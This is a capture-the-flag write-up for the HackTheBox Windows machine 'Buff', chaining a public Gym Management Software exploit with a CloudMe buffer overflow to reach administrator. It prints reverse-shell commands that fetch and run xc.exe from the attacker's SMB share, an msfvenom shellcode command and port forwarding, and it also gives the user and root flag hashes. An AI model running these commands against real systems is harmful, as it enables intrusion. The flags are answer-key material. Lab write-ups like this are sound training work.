Buff @ HackTheBox
Buff is a 20-point Windows Machine on HackTheBox, created by egotisticalSW. It involves 2 simple public exploits and forwarding a port.
User
As usual we start with a portscan:
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nmap -Pn -sV -sC buff.htb
...
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
When we visit the site in a browser we can see a fitness site. On contact it shows:
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mrb3n's Bro Hut
Made using Gym Management Software 1.0
A quick google search shows this exploit, which gives us a shell as buff\shaun:
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python exploit.py http://buff.htb:8080/
/\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
\/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload>
To leave this really inconvinient shell, we use smb to pull in and start a xc shell:
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nc -lvp 1337
\\10.10.14.6\public\xc.exe 10.10.14.6 1337
Now we can read the user flag:
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./xc -l -p 1337
__ _____
\ \/ / __|
> < (__
/_/\_\___| by @xct_de
build: GLvLrMgcikmgHFyx
2020/11/21 11:13:53 Listening on :1337
2020/11/21 11:13:53 Waiting for connections...
2020/11/21 11:13:53 Connection from 10.10.10.198:49826
2020/11/21 11:13:53 Stream established
[xc]:type \users\shaun\desktop\*
464f8c6c1550f2d071d3e1702801fba5
Root
In Downloads we can find an usual binary:
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[xc]:!shell
cd \users\shaun
C:\Users\shaun>dir Downloads
...
16/06/2020 15:26 17,830,824 CloudMe_1112.exe
A quick google search shows various public buffer overflow exploits for this exact version. Running netstat -ano shows that the service is listening on localhost on the port the exploits mention:
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netstat -ano | findstr 8888
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING 8540
A quick side note: This was super unstable on release night and several people, including me, did not have this port even open.
I chose this exploit. We have to replace the shellcode though – an easy way to do it is via msfvenom:
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msfvenom -f python -p windows/exec CMD='cmd.exe /c "\\10.10.14.6\public\xc.exe 10.10.14.6 1338"'
After replacing the shellcode, we use xc to forward the port 8888 back to us:
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!lfwd 8888 localhost 8888
We then run the exploit and get a shell back as administrator:
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./xc -l -p 1338
...
[xc]:whoami
buff\administrator
type \users\administrator\desktop\*
...
6204e76cfbd6001662e4ec757c09f59b
This box had many stability issues and running public exploits does not teach much, so I did not really like it.